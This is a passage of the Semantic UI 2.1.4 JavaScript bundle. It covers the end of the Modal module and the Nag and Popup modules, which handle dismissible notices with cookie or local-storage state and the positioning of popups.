[].slice.call(message, 1) || '', 'Element' : element, 'Execution Time' : executionTime }); } clearTimeout(module.performance.timer); module.performance.timer = setTimeout(module.performance.display, 500); }, display: function() { var title = settings.name + ':', totalTime = 0 ; time = false; clearTimeout(module.performance.timer); $.each(performance, function(index, data) { totalTime += data['Execution Time']; }); title += ' ' + totalTime + 'ms'; if(moduleSelector) { title += ' \'' + moduleSelector + '\''; } if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) { console.groupCollapsed(title); if(console.table) { console.table(performance); } else { $.each(performance, function(index, data) { console.log(data['Name'] + ': ' + data['Execution Time']+'ms'); }); } console.groupEnd(); } performance = []; } }, invoke: function(query, passedArguments, context) { var object = instance, maxDepth, found, response ; passedArguments = passedArguments || queryArguments; context = element || context; if(typeof query == 'string' && object !== undefined) { query = query.split(/[\. ]/); maxDepth = query.length - 1; $.each(query, function(depth, value) { var camelCaseValue = (depth != maxDepth) ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1) : query ; if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) { object = object[camelCaseValue]; } else if( object[camelCaseValue] !== undefined ) { found = object[camelCaseValue]; return false; } else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) { object = object[value]; } else if( object[value] !== undefined ) { found = object[value]; return false; } else { return false; } }); } if ( $.isFunction( found ) ) { response = found.apply(context, passedArguments); } else if(found !== undefined) { response = found; } if($.isArray(returnedValue)) { returnedValue.push(response); } else if(returnedValue !== undefined) { returnedValue = [returnedValue, response]; } else if(response !== undefined) { returnedValue = response; } return found; } }; if(methodInvoked) { if(instance === undefined) { module.initialize(); } module.invoke(query); } else { if(instance !== undefined) { instance.invoke('destroy'); } module.initialize(); } }) ; return (returnedValue !== undefined) ? returnedValue : this ; }; $.fn.modal.settings = { name : 'Modal', namespace : 'modal', debug : false, verbose : false, performance : true, observeChanges : false, allowMultiple : false, detachable : true, closable : true, autofocus : true, inverted : false, blurring : false, dimmerSettings : { closable : false, useCSS : true }, context : 'body', queue : false, duration : 500, offset : 0, transition : 'scale', // padding with edge of page padding : 50, // called before show animation onShow : function(){}, // called after show animation onVisible : function(){}, // called before hide animation onHide : function(){}, // called after hide animation onHidden : function(){}, // called after approve selector match onApprove : function(){ return true; }, // called after deny selector match onDeny : function(){ return true; }, selector : { close : '> .close', approve : '.actions .positive, .actions .approve, .actions .ok', deny : '.actions .negative, .actions .deny, .actions .cancel', modal : '.ui.modal' }, error : { dimmer : 'UI Dimmer, a required component is not included in this page', method : 'The method you called is not defined.', notFound : 'The element you specified could not be found' }, className : { active : 'active', animating : 'animating', blurring : 'blurring', scrolling : 'scrolling', undetached : 'undetached' } }; })( jQuery, window , document ); /*! * # Semantic UI 2.1.4 - Nag * http://github.com/semantic-org/semantic-ui/ * * * Copyright 2015 Contributors * Released under the MIT license * http://opensource.org/licenses/MIT * */ ;(function ($, window, document, undefined) { "use strict"; $.fn.nag = function(parameters) { var $allModules = $(this), moduleSelector = $allModules.selector || '', time = new Date().getTime(), performance = [], query = arguments[0], methodInvoked = (typeof query == 'string'), queryArguments = [].slice.call(arguments, 1), returnedValue ; $allModules .each(function() { var settings = ( $.isPlainObject(parameters) ) ? $.extend(true, {}, $.fn.nag.settings, parameters) : $.extend({}, $.fn.nag.settings), className = settings.className, selector = settings.selector, error = settings.error, namespace = settings.namespace, eventNamespace = '.' + namespace, moduleNamespace = namespace + '-module', $module = $(this), $close = $module.find(selector.close), $context = (settings.context) ? $(settings.context) : $('body'), element = this, instance = $module.data(moduleNamespace), moduleOffset, moduleHeight, contextWidth, contextHeight, contextOffset, yOffset, yPosition, timer, module, requestAnimationFrame = window.requestAnimationFrame || window.mozRequestAnimationFrame || window.webkitRequestAnimationFrame || window.msRequestAnimationFrame || function(callback) { setTimeout(callback, 0); } ; module = { initialize: function() { module.verbose('Initializing element'); $module .on('click' + eventNamespace, selector.close, module.dismiss) .data(moduleNamespace, module) ; if(settings.detachable && $module.parent()[0] !== $context[0]) { $module .detach() .prependTo($context) ; } if(settings.displayTime > 0) { setTimeout(module.hide, settings.displayTime); } module.show(); }, destroy: function() { module.verbose('Destroying instance'); $module .removeData(moduleNamespace) .off(eventNamespace) ; }, show: function() { if( module.should.show() && !$module.is(':visible') ) { module.debug('Showing nag', settings.animation.show); if(settings.animation.show == 'fade') { $module .fadeIn(settings.duration, settings.easing) ; } else { $module .slideDown(settings.duration, settings.easing) ; } } }, hide: function() { module.debug('Showing nag', settings.animation.hide); if(settings.animation.show == 'fade') { $module .fadeIn(settings.duration, settings.easing) ; } else { $module .slideUp(settings.duration, settings.easing) ; } }, onHide: function() { module.debug('Removing nag', settings.animation.hide); $module.remove(); if (settings.onHide) { settings.onHide(); } }, dismiss: function(event) { if(settings.storageMethod) { module.storage.set(settings.key, settings.value); } module.hide(); event.stopImmediatePropagation(); event.preventDefault(); }, should: { show: function() { if(settings.persist) { module.debug('Persistent nag is set, can show nag'); return true; } if( module.storage.get(settings.key) != settings.value.toString() ) { module.debug('Stored value is not set, can show nag', module.storage.get(settings.key)); return true; } module.debug('Stored value is set, cannot show nag', module.storage.get(settings.key)); return false; } }, get: { storageOptions: function() { var options = {} ; if(settings.expires) { options.expires = settings.expires; } if(settings.domain) { options.domain = settings.domain; } if(settings.path) { options.path = settings.path; } return options; } }, clear: function() { module.storage.remove(settings.key); }, storage: { set: function(key, value) { var options = module.get.storageOptions() ; if(settings.storageMethod == 'localstorage' && window.localStorage !== undefined) { window.localStorage.setItem(key, value); module.debug('Value stored using local storage', key, value); } else if(settings.storageMethod == 'sessionstorage' && window.sessionStorage !== undefined) { window.sessionStorage.setItem(key, value); module.debug('Value stored using session storage', key, value); } else if($.cookie !== undefined) { $.cookie(key, value, options); module.debug('Value stored using cookie', key, value, options); } else { module.error(error.noCookieStorage); return; } }, get: function(key, value) { var storedValue ; if(settings.storageMethod == 'localstorage' && window.localStorage !== undefined) { storedValue = window.localStorage.getItem(key); } else if(settings.storageMethod == 'sessionstorage' && window.sessionStorage !== undefined) { storedValue = window.sessionStorage.getItem(key); } // get by cookie else if($.cookie !== undefined) { storedValue = $.cookie(key); } else { module.error(error.noCookieStorage); } if(storedValue == 'undefined' || storedValue == 'null' || storedValue === undefined || storedValue === null) { storedValue = undefined; } return storedValue; }, remove: function(key) { var options = module.get.storageOptions() ; if(settings.storageMethod == 'localstorage' && window.localStorage !== undefined) { window.localStorage.removeItem(key); } else if(settings.storageMethod == 'sessionstorage' && window.sessionStorage !== undefined) { window.sessionStorage.removeItem(key); } // store by cookie else if($.cookie !== undefined) { $.removeCookie(key, options); } else { module.error(error.noStorage); } } }, setting: function(name, value) { module.debug('Changing setting', name, value); if( $.isPlainObject(name) ) { $.extend(true, settings, name); } else if(value !== undefined) { settings[name] = value; } else { return settings[name]; } }, internal: function(name, value) { if( $.isPlainObject(name) ) { $.extend(true, module, name); } else if(value !== undefined) { module[name] = value; } else { return module[name]; } }, debug: function() { if(settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.debug.apply(console, arguments); } } }, verbose: function() { if(settings.verbose && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.verbose.apply(console, arguments); } } }, error: function() { module.error = Function.prototype.bind.call(console.error, console, settings.name + ':'); module.error.apply(console, arguments); }, performance: { log: function(message) { var currentTime, executionTime, previousTime ; if(settings.performance) { currentTime = new Date().getTime(); previousTime = time || currentTime; executionTime = currentTime - previousTime; time = currentTime; performance.push({ 'Name' : message[0], 'Arguments' : [].slice.call(message, 1) || '', 'Element' : element, 'Execution Time' : executionTime }); } clearTimeout(module.performance.timer); module.performance.timer = setTimeout(module.performance.display, 500); }, display: function() { var title = settings.name + ':', totalTime = 0 ; time = false; clearTimeout(module.performance.timer); $.each(performance, function(index, data) { totalTime += data['Execution Time']; }); title += ' ' + totalTime + 'ms'; if(moduleSelector) { title += ' \'' + moduleSelector + '\''; } if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) { console.groupCollapsed(title); if(console.table) { console.table(performance); } else { $.each(performance, function(index, data) { console.log(data['Name'] + ': ' + data['Execution Time']+'ms'); }); } console.groupEnd(); } performance = []; } }, invoke: function(query, passedArguments, context) { var object = instance, maxDepth, found, response ; passedArguments = passedArguments || queryArguments; context = element || context; if(typeof query == 'string' && object !== undefined) { query = query.split(/[\. ]/); maxDepth = query.length - 1; $.each(query, function(depth, value) { var camelCaseValue = (depth != maxDepth) ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1) : query ; if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) { object = object[camelCaseValue]; } else if( object[camelCaseValue] !== undefined ) { found = object[camelCaseValue]; return false; } else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) { object = object[value]; } else if( object[value] !== undefined ) { found = object[value]; return false; } else { module.error(error.method, query); return false; } }); } if ( $.isFunction( found ) ) { response = found.apply(context, passedArguments); } else if(found !== undefined) { response = found; } if($.isArray(returnedValue)) { returnedValue.push(response); } else if(returnedValue !== undefined) { returnedValue = [returnedValue, response]; } else if(response !== undefined) { returnedValue = response; } return found; } }; if(methodInvoked) { if(instance === undefined) { module.initialize(); } module.invoke(query); } else { if(instance !== undefined) { instance.invoke('destroy'); } module.initialize(); } }) ; return (returnedValue !== undefined) ? returnedValue : this ; }; $.fn.nag.settings = { name : 'Nag', debug : false, verbose : false, performance : true, namespace : 'Nag', // allows cookie to be overriden persist : false, // set to zero to require manually dismissal, otherwise hides on its own displayTime : 0, animation : { show : 'slide', hide : 'slide' }, context : false, detachable : false, expires : 30, domain : false, path : '/', // type of storage to use storageMethod : 'cookie', // value to store in dismissed localstorage/cookie key : 'nag', value : 'dismiss', error: { noCookieStorage : '$.cookie is not included. A storage solution is required.', noStorage : 'Neither $.cookie or store is defined. A storage solution is required for storing state', method : 'The method you called is not defined.' }, className : { bottom : 'bottom', fixed : 'fixed' }, selector : { close : '.close.icon' }, speed : 500, easing : 'easeOutQuad', onHide: function() {} }; })( jQuery, window , document ); /*! * # Semantic UI 2.1.4 - Popup * http://github.com/semantic-org/semantic-ui/ * * * Copyright 2015 Contributors * Released under the MIT license * http://opensource.org/licenses/MIT * */ ;(function ($, window, document, undefined) { "use strict"; $.fn.popup = function(parameters) { var $allModules = $(this), $document = $(document), $window = $(window), $body = $('body'), moduleSelector = $allModules.selector || '', hasTouch = (true), time = new Date().getTime(), performance = [], query = arguments[0], methodInvoked = (typeof query == 'string'), queryArguments = [].slice.call(arguments, 1), returnedValue ; $allModules .each(function() { var settings = ( $.isPlainObject(parameters) ) ? $.extend(true, {}, $.fn.popup.settings, parameters) : $.extend({}, $.fn.popup.settings), selector = settings.selector, className = settings.className, error = settings.error, metadata = settings.metadata, namespace = settings.namespace, eventNamespace = '.' + settings.namespace, moduleNamespace = 'module-' + namespace, $module = $(this), $context = $(settings.context), $target = (settings.target) ? $(settings.target) : $module, $popup, $offsetParent, searchDepth = 0, triedPositions = false, openedWithTouch = false, element = this, instance = $module.data(moduleNamespace), elementNamespace, id, module ; module = { // binds events initialize: function() { module.debug('Initializing', $module); module.createID(); module.bind.events(); if( !module.exists() && settings.preserve) { module.create(); } module.instantiate(); }, instantiate: function() { module.verbose('Storing instance', module); instance = module; $module .data(moduleNamespace, instance) ; }, refresh: function() { if(settings.popup) { $popup = $(settings.popup).eq(0); } else { if(settings.inline) { $popup = $target.nextAll(selector.popup).eq(0); settings.popup = $popup; } } if(settings.popup) { $popup.addClass(className.loading); $offsetParent = module.get.offsetParent(); $popup.removeClass(className.loading); if(settings.movePopup && module.has.popup() && module.get.offsetParent($popup)[0] !== $offsetParent[0]) { module.debug('Moving popup to the same offset parent as activating element'); $popup .detach() .appendTo($offsetParent) ; } } else { $offsetParent = (settings.inline) ? module.get.offsetParent($target) : module.has.popup() ? module.get.offsetParent($popup) : $body ; } if( $offsetParent.is('html') && $offsetParent[0] !== $body[0] ) { module.debug('Setting page as offset parent'); $offsetParent = $body; } if( module.get.variation() ) { module.set.variation(); } }, reposition: function() { module.refresh(); module.set.position(); }, destroy: function() { module.debug('Destroying previous module'); // remove element only if was created dynamically if($popup && !settings.preserve) { module.removePopup(); } // clear all timeouts clearTimeout(module.hideTimer); clearTimeout(module.showTimer); // remove events $window.off(elementNamespace); $module .off(eventNamespace) .removeData(moduleNamespace) ; }, event: { start: function(event) { var delay = ($.isPlainObject(settings.delay)) ? settings.delay.show : settings.delay ; clearTimeout(module.hideTimer); if(!openedWithTouch) { module.showTimer = setTimeout(module.show, delay); } }, end: function() { var delay = ($.isPlainObject(settings.delay)) ? settings.delay.hide : settings.delay ; clearTimeout(module.showTimer); module.hideTimer = setTimeout(module.hide, delay); }, touchstart: function(event) { openedWithTouch = true; module.show(); }, resize: function() { if( module.is.visible() ) { module.set.position(); } }, hideGracefully: function(event) { // don't close on clicks inside popup if(event && $(event.target).closest(selector.popup).length === 0) { module.debug('Click occurred outside popup hiding popup'); module.hide(); } else { module.debug('Click was inside popup, keeping popup open'); } } }, // generates popup html from metadata create: function() { var html = module.get.html(), title = module.get.title(), content = module.get.content() ; if(html || content || title) { module.debug('Creating pop-up html'); if(!html) { html = settings.templates.popup({ title : title, content : content }); } $popup = $('<div/>') .addClass(className.popup) .data(metadata.activator, $module) .html(html) ; if(settings.inline) { module.verbose('Inserting popup element inline', $popup); $popup .insertAfter($module) ; } else { module.verbose('Appending popup element to body', $popup); $popup .appendTo( $context ) ; } module.refresh(); module.set.variation(); if(settings.hoverable) { module.bind.popup(); } settings.onCreate.call($popup, element); } else if($target.next(selector.popup).length !== 0) { module.verbose('Pre-existing popup found'); settings.inline = true; settings.popups = $target.next(selector.popup).data(metadata.activator, $module); module.refresh(); if(settings.hoverable) { module.bind.popup(); } } else if(settings.popup) { $(settings.popup).data(metadata.activator, $module); module.verbose('Used popup specified in settings'); module.refresh(); if(settings.hoverable) { module.bind.popup(); } } else { module.debug('No content specified skipping display', element); } }, createID: function() { id = (Math.random().toString(16) + '000000000').substr(2,8); elementNamespace = '.' + id; module.verbose('Creating unique id for element', id); }, // determines popup state toggle: function() { module.debug('Toggling pop-up'); if( module.is.hidden() ) { module.debug('Popup is hidden, showing pop-up'); module.unbind.close(); module.show(); } else { module.debug('Popup is visible, hiding pop-up'); module.hide(); } }, show: function(callback) { callback = callback || function(){}; module.debug('Showing pop-up', settings.transition); if(module.is.hidden() && !( module.is.active() && module.is.dropdown()) ) { if( !module.exists() ) { module.create(); } if(settings.onShow.call($popup, element) === false) { module.debug('onShow callback returned false, cancelling popup animation'); return; } else if(!settings.preserve && !settings.popup) { module.refresh(); } if( $popup && module.set.position() ) { module.save.conditions(); if(settings.exclusive) { module.hideAll(); } module.animate.show(callback); } } }, hide: function(callback) { callback = callback || function(){}; if( module.is.visible() || module.is.animating() ) { if(settings.onHide.call($popup, element) === false) { module.debug('onHide callback returned false, cancelling popup animation'); return; } module.remove.visible(); module.unbind.close(); module.restore.conditions(); module.animate.hide(callback); } }, hideAll: function() { $(selector.popup) .filter('.' + className.visible) .each(function() { $(this) .data(metadata.activator) .popup('hide') ; }) ; }, exists: function() { if(!$popup) { return false; } if(settings.inline || settings.popup) { return ( module.has.popup() ); } else { return ( $popup.closest($context).length >= 1 ) ? true : false ; } }, removePopup: function() { if( module.has.popup() && !settings.popup) { module.debug('Removing popup', $popup); $popup.remove(); $popup = undefined; settings.onRemove.call($popup, element); } }, save: { conditions: function() { module.cache = { title: $module.attr('title') }; if (module.cache.title) { $module.removeAttr('title'); } module.verbose('Saving original attributes', module.cache.title); } }, restore: { conditions: function() { if(module.cache && module.cache.title) { $module.attr('title', module.cache.title); module.verbose('Restoring original attributes', module.cache.title); } return true; } }, animate: { show: function(callback) { callback = $.isFunction(callback) ? callback : function(){}; if(settings.transition && $.fn.transition !== undefined && $module.transition('is supported')) { module.set.visible(); $popup .transition({ animation : settings.transition + ' in', queue : false, debug : settings.debug, verbose : settings.verbose, duration : settings.duration, onComplete : function() { module.bind.close(); callback.call($popup, element); settings.onVisible.call($popup, element); } }) ; } else { module.error(error.noTransition); } }, hide: function(callback) { callback = $.isFunction(callback) ? callback : function(){}; module.debug('Hiding pop-up'); if(settings.onHide.call($popup, element) === false) { module.debug('onHide callback returned false, cancelling popup animation'); return; } if(settings.transition && $.fn.transition !== undefined && $module.transition('is supported')) { $popup .transition({ animation : settings.transition + ' out', queue : false, duration : settings.duration, debug : settings.debug, verbose : settings.verbose, onComplete : function() { module.reset(); callback.call($popup, element); settings.onHidden.call($popup, element); } }) ; } else { module.error(error.noTransition); } } }, get: { html: function() { $module.removeData(metadata.html); return $module.data(metadata.html) || settings.html; }, title: function() { $module.removeData(metadata.title); return $module.data(metadata.title) || settings.title; }, content: function() { $module.removeData(metadata.content); return $module.data(metadata.content) || $module.attr('title') || settings.content; }, variation: function() { $module.removeData(metadata.variation); return $module.data(metadata.variation) || settings.variation; }, popupOffset: function() { return $popup.offset(); }, calculations: function() { var targetElement = $target[0], targetPosition = (settings.inline || settings.popup) ? $target.position() : $target.offset(), calculations = {}, screen ; calculations = { // element which is launching popup target : { element : $target[0], width : $target.outerWidth(), height : $target.outerHeight(), top : targetPosition.top, left : targetPosition.left, margin : {} }, // popup itself popup : { width : $popup.outerWidth(), height : $popup.outerHeight() }, // offset container (or 3d context) parent : { width : $offsetParent.outerWidth(), height : $offsetParent.outerHeight() }, // screen boundaries screen : { scroll: { top : $window.scrollTop(), left : $window.scrollLeft() }, width : $window.width(), height : $window.height() } }; // add in container calcs if fluid if( settings.setFluidWidth && module.is.fluid() ) { calculations.container = { width: $popup.parent().outerWidth() }; calculations.popup.width = calculations.container.width; } // add in margins if inline calculations.target.margin.top = (settings.inline) ? parseInt( window.getComputedStyle(targetElement).getPropertyValue('margin-top'), 10) : 0 ; calculations.target.margin.left = (settings.inline) ? module.is.rtl() ? parseInt( window.getComputedStyle(targetElement).getPropertyValue('margin-right'), 10) : parseInt( window.getComputedStyle(targetElement).getPropertyValue('margin-left') , 10) : 0 ; // calculate screen boundaries screen = calculations.screen; calculations.boundary = { top : screen.scroll.top, bottom : screen.scroll.top + screen.height, left : screen.scroll.left, right : screen.scroll.left + screen.width }; return calculations; }, id: function() { return id; }, startEvent: function() { if(settings.on == 'hover') { return 'mouseenter'; } else if(settings.on == 'focus') { return 'focus'; } return false; }, scrollEvent: function() { return 'scroll'; }, endEvent: function() { if(settings.on == 'hover') { return 'mouseleave'; } else if(settings.on == 'focus') { return 'blur'; } return false; }, distanceFromBoundary: function(offset, calculations) { var distanceFromBoundary = {}, popup, boundary ; offset = offset || module.get.offset(); calculations = calculations || module.get.calculations(); // shorthand popup = calculations.popup; boundary = calculations.boundary; if(offset) { distanceFromBoundary = { top : (offset.top - boundary.top), left : (offset.left - boundary.left), right : (boundary.right - (offset.left + popup.width) ), bottom : (boundary.bottom - (offset.top + popup.height) ) }; module.verbose('Distance from boundaries determined', offset, distanceFromBoundary); } return distanceFromBoundary; }, offsetParent: function($target) { var element = ($target !== undefined) ? $target[0] : $module[0], parentNode = element.parentNode, $node = $(parentNode) ; if(parentNode) { var is2D = ($node.css('transform') === 'none'), isStatic = ($node.css('position') === 'static'), isHTML = $node.is('html') ; while(parentNode && !isHTML && isStatic && is2D) { parentNode = parentNode.parentNode; $node = $(parentNode); is2D = ($node.css('transform') === 'none'); isStatic = ($node.css('position') === 'static'); isHTML = $node.is('html'); } } return ($node && $node.length > 0) ? $node : $() ; }, positions: function() { return { 'top left' : false, 'top center' : false, 'top right' : false, 'bottom left' : false, 'bottom center' : false, 'bottom right' : false, 'left center' : false, 'right center' : false }; }, nextPosition: function(position) { var positions = position.split(' '), verticalPosition = positions[0], horizontalPosition = positions[1], opposite = { top : 'bottom', bottom : 'top', left : 'right', right : 'left' }, adjacent = { left : 'center', center : 'right', right : 'left' }, backup = { 'top left' : 'top center', 'top center' : 'top right', 'top right' : 'right center', 'right center' : 'bottom right', 'bottom right' : 'bottom center', 'bottom center' : 'bottom left', 'bottom left' : 'left center', 'left center' : 'top left' }, adjacentsAvailable = (verticalPosition == 'top' || verticalPosition == 'bottom'), oppositeTried = false, adjacentTried = false, nextPosition = false ; if(!triedPositions) { module.verbose('All available positions available'); triedPositions = module.get.positions(); } module.debug('Recording last position tried', position); triedPositions[position] = true; if(settings.prefer === 'opposite') { nextPosition = [opposite[verticalPosition], horizontalPosition]; nextPosition = nextPosition.join(' '); oppositeTried = (triedPositions[nextPosition] === true); module.debug('Trying opposite strategy', nextPosition); } if((settings.prefer === 'adjacent') && adjacentsAvailable ) { nextPosition = [verticalPosition, adjacent[horizontalPosition]]; nextPosition = nextPosition.join(' '); adjacentTried = (triedPositions[nextPosition] === true); module.debug('Trying adjacent strategy', nextPosition); } if(adjacentTried || oppositeTried) { module.debug('Using backup position', nextPosition); nextPosition = backup[position]; } return nextPosition; } }, set: { position: function(position, calculations) { // exit conditions if($target.length === 0 || $popup.length === 0) { module.error(error.notFound); return; } var offset, distanceAway, target, popup, parent, positioning, popupOffset, distanceFromBoundary ; calculations = calculations || module.get.calculations(); position = position || $module.data(metadata.position) || settings.position; offset = $module.data(metadata.offset) || settings.offset; distanceAway = settings.distanceAway; // shorthand target = calculations.target; popup = calculations.popup; parent = calculations.parent; if(target.width === 0 && target.height === 0) { module.debug('Popup target is hidden, no action taken'); return false; } if(settings.inline) { module.debug('Adding margin to calculation', target.margin); if(position == 'left center' || position == 'right center') { offset += target.margin.top; distanceAway += -target.margin.left; } else if (position == 'top left' || position == 'top center' || position == 'top right') { offset += target.margin.left; distanceAway -= target.margin.top; } else { offset += target.margin.left; distanceAway += target.margin.top; } } module.debug('Determining popup position from calculations', position, calculations); if (module.is.rtl()) { position = position.replace(/left|right/g, function (match) { return (match == 'left') ? 'right' : 'left' ; }); module.debug('RTL: Popup position updated', position); } // if last attempt use specified last resort position if(searchDepth == settings.maxSearchDepth && typeof settings.lastResort === 'string') { position = settings.lastResort; } switch (position) { case 'top left': positioning = { top : 'auto', bottom : parent.height - target.top + distanceAway, left : target.left + offset, right : 'auto' }; break; case 'top center': positioning = { bottom : parent.height - target.top + distanceAway, left : target.left + (target.width / 2) - (popup.width / 2) + offset, top : 'auto', right : 'auto' }; break; case 'top right': positioning = { bottom : parent.height - target.top + distanceAway, right : parent.width - target.left - target.width - offset, top : 'auto', left : 'auto' }; break; case 'left center': positioning = { top : target.top + (target.height / 2) - (popup.height / 2) + offset, right : parent.width - target.left + distanceAway, left : 'auto', bottom : 'auto' }; break; case 'right center': positioning = { top : target.top + (target.height / 2) - (popup.height / 2) + offset, left : target.left + target.width + distanceAway, bottom : 'auto', right : 'auto' }; break; case 'bottom left': positioning = { top : target.top + target.height + distanceAway, left : target.left + offset, bottom : 'auto', right : 'auto' }; break; case 'bottom center': positioning = { top : target.top + target.height + distanceAway, left : target.left + (target.width / 2) - (popup.width / 2) + offset, bottom : 'auto', right : 'auto' }; break; case 'bottom right': positioning = { top : target.top + target.height + distanceAway, right : parent.width - target.left - target.width - offset, left : 'auto', bottom : 'auto' }; break; } if(positioning === undefined) { module.error(error.invalidPosition, position); } module.debug('Calculated popup positioning values', positioning); // tentatively place on stage $popup .css(positioning) .removeClass(className.position) .addClass(position) .addClass(className.loading) ; popupOffset = module.get.popupOffset(); // see if any boundaries are surpassed with this tentative position distanceFromBoundary = module.get.distanceFromBoundary(popupOffset, calculations); if( module.is.offstage(distanceFromBoundary, position) ) { module.debug('Position is outside viewport', position); if(searchDepth < settings.maxSearchDepth) { searchDepth++; position = module.get.nextPosition(position); module.debug('Trying new position', position); return ($popup) ? module.set.position(position, calculations) : false ; } else { if(settings.lastResort) { module.debug('No position found, showing with last position'); } else { module.debug('Popup could not find a position to display', $popup); module.error(error.cannotPlace, element); module.remove.attempts(); module.remove.loading(); module.reset(); return false; } } } module.debug('Position is on stage', position); module.remove.attempts(); module.remove.loading(); if( settings.setFluidWidth && module.is.fluid() ) { module.set.fluidWidth(calculations); } return true; }, fluidWidth: function(calculations) { calculations = calculations || module.get.calculations(); module.debug('Automatically setting element width to parent width', calculations.parent.width); $popup.css('width', calculations.container.width); }, variation: function(variation) { variation = variation || module.get.variation(); if(variation && module.has.popup() ) { module.verbose('Adding variation to popup', variation); $popup.addClass(variation); } }, visible: function() { $module.addClass(className.visible); } }, remove: { loading: function() { $popup.removeClass(className.loading); }, variation: function(variation) { variation = variation || module.get.variation(); if(variation) { module.verbose('Removing variation', variation); $popup.removeClass(variation); } }, visible: function() { $module.removeClass(className.visible); }, attempts: function() { module.verbose('Resetting all searched positions'); searchDepth = 0; triedPositions = false; } }, bind: { events: function() { module.debug('Binding popup events to module'); if(settings.on == 'click') { $module .on('click' + eventNamespace, module.toggle) ; } if(settings.on == 'hover' && hasTouch) { $module .on('touchstart' + eventNamespace, module.event.touchstart) ; } if( module.get.startEvent() ) { $module .on(module.get.startEvent() + eventNamespace, module.event.start) .on(module.get.endEvent() + eventNamespace, module.event.end) ; } if(settings.target) { module.debug('Target set to element', $target); } $window.on('resize' + elementNamespace, module.event.resize); }, popup: function() { module.verbose('Allowing hover events on popup to prevent closing'); if( $popup && module.has.popup() ) { $popup .on('mouseenter' + eventNamespace, module.event.start) .on('mouseleave' + eventNamespace, module.event.end) ; } }, close: function() { if(settings.hideOnScroll === true || (settings.hideOnScroll == 'auto' && settings.on != 'click')) { $document .one(module.get.scrollEvent() + elementNamespace, module.event.hideGracefully) ; $context .one(module.get.scrollEvent() + elementNamespace, module.event.hideGracefully) ; } if(settings.on == 'hover' && openedWithTouch) { module.verbose('Binding popup close event to document'); $document .on('touchstart' + elementNamespace, function(event) { module.verbose('Touched away from popup'); module.event.hideGracefully.call(element, event); }) ; } if(settings.on == 'click' && settings.closable) { module.verbose('Binding popup close event to document'); $document .on('click' + elementNamespace, function(event) { module.verbose('Clicked away from popup'); module.event.hideGracefully.call(element, event); }) ; } } }, unbind: { close: function() { if(settings.hideOnScroll === true || (settings.hideOnScroll == 'auto' && settings.on != 'click')) { $document .off('scroll' + elementNamespace, module.hide) ; $context .off('scroll' + elementNamespace, module.hide) ; } if(settings.on == 'hover' && openedWithTouch) { $document .off('touchstart' + elementNamespace) ; openedWithTouch = false; } if(settings.on == 'click' && settings.closable) { module.verbose('Removing close event from document'); $document .off('click' + elementNamespace) ; } } }, has: { popup: function() { return ($popup && $popup.length > 0); } }, is: { offstage: function(distanceFromBoundary, position) { var offstage = [] ; // return boundaries that have been surpassed $.each(distanceFromBoundary, function(direction, distance) { if(distance < -settings.jitter) { module.debug('Position exceeds allowable distance from edge', direction, distance, position); offstage.push(direction); } }); if(offstage.length > 0) { return true; } else { return false; } }, active: function() { return $module.hasClass(className.active); }, animating: function() { return ( $popup && $popup.hasClass(className.animating) ); }, fluid: function() { return ( $popup && $popup.hasClass(className.fluid)); }, visible: function() { return $popup && $popup.hasClass(className.visible); }, dropdown: function() { return $module.hasClass(className.dropdown); }, hidden: function() { return !module.is.visible(); }, rtl: function () { return $module.css('direction') == 'rtl'; } }, reset: function() { module.remove.visible(); if(settings.preserve) { if($.fn.transition !== undefined) { $popup .transition('remove transition') ; } } else { module.removePopup(); } }, setting: function(name, value) { if( $.isPlainObject(name) ) { $.extend(true, settings, name); } else if(value !== undefined) { settings[name] = value; } else { return settings[name]; } }, internal: function(name, value) { if( $.isPlainObject(name) ) { $.extend(true, module, name); } else if(value !== undefined) { module[name] = value; } else { return module[name]; } }, debug: function() { if(settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.debug.apply(console, arguments); } } }, verbose: function() { if(settings.verbose && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.verbose.apply(console, arguments); } } }, error: function() { module.error = Function.prototype.bind.call(console.error, console, settings.name + ':'); module.error.apply(console, arguments); }, performance: { log: function(message) { var currentTime, executionTime, previousTime ; if(settings.performance) { currentTime = new Date().getTime(); previousTime = time || currentTime; executionTime = currentTime - previousTime; time = currentTime; performance.push({ 'Name' : message[0], 'Arguments' : [].slice.call(message, 1) || '', 'Element' : element, 'Execution Time' : executionTime }); } clearTimeout(module.performance.timer); module.performance.timer = setTimeout(module.performance.display, 500); }, display: function() { var title = settings.name + ':', totalTime = 0 ; time = false; clearTimeout(module.performance.timer); $.each(performance, function(index, data) { totalTime += data['Execution Time']; }); title += ' ' + totalTime + 'ms'; if(moduleSelector) { title += ' \'' + moduleSelector + '\''; } if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) { console.groupCollapsed(title); if(console.table) { console.table(performance); } else { $.each(performance, function(index, data) { console.log(data['Name'] + ': ' + data['Execution Time']+'ms'); }); } console.groupEnd(); } performance = []; } }, invoke: function(query, passedArguments, context) { var object = instance, maxDepth, found, response ; passedArguments = passedArguments || queryArguments; context = element || context; if(typeof query == 'string' && object !== undefined) { query = query.split(/[\. ]/); maxDepth = query.length - 1; $.each(query, function(depth, value) { var camelCaseValue = (depth != maxDepth) ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1) : query ; if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) { object = object[camelCaseValue]; } else if( object[camelCaseValue] !== undefined ) { found = object[camelCaseValue]; return false; } else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) { object = object[value]; } else if( object[value] !== undefined ) { found = object[value]; return false; } else { return false; } }); } if ( $.isFunction( found ) ) { response = found.apply(context, passedArguments); } else if(found !== undefined) { response = found; } if($.isArray(returnedValue)) { returnedValue.push(response); } else if(returnedValue !== undefined) { 